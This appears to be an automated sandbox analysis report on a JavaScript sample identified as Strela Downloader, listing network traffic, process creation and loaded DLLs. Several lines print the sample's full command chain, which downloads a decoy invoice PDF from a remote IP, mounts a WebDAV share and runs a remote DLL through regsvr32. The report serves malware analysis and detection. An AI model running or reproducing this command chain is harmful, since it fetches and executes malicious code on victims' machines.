Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.5:49705 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.5:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2090779238.000001BB4E6DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2162818211.00000193C8724000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2153646427.00000193C870D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2163014520.00000193C8747000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2162818211.00000193C870D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2162746773.00000193C86E8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace?o
Source: svchost.exe, 00000009.00000002.3366111164.000002314FA0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2161986864.000002314F8D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 5808, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 2024032514221887775.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@3/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6180:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qarnifu0.pyn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2024032514221887775.js

Virustotal: Detection: 9%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2024032514221887775.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1788,i,10390997159880775626,9506597662424275383,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12772241613797.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2116 --field-trial-handle=1788,i,10390997159880775626,9506597662424275383,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
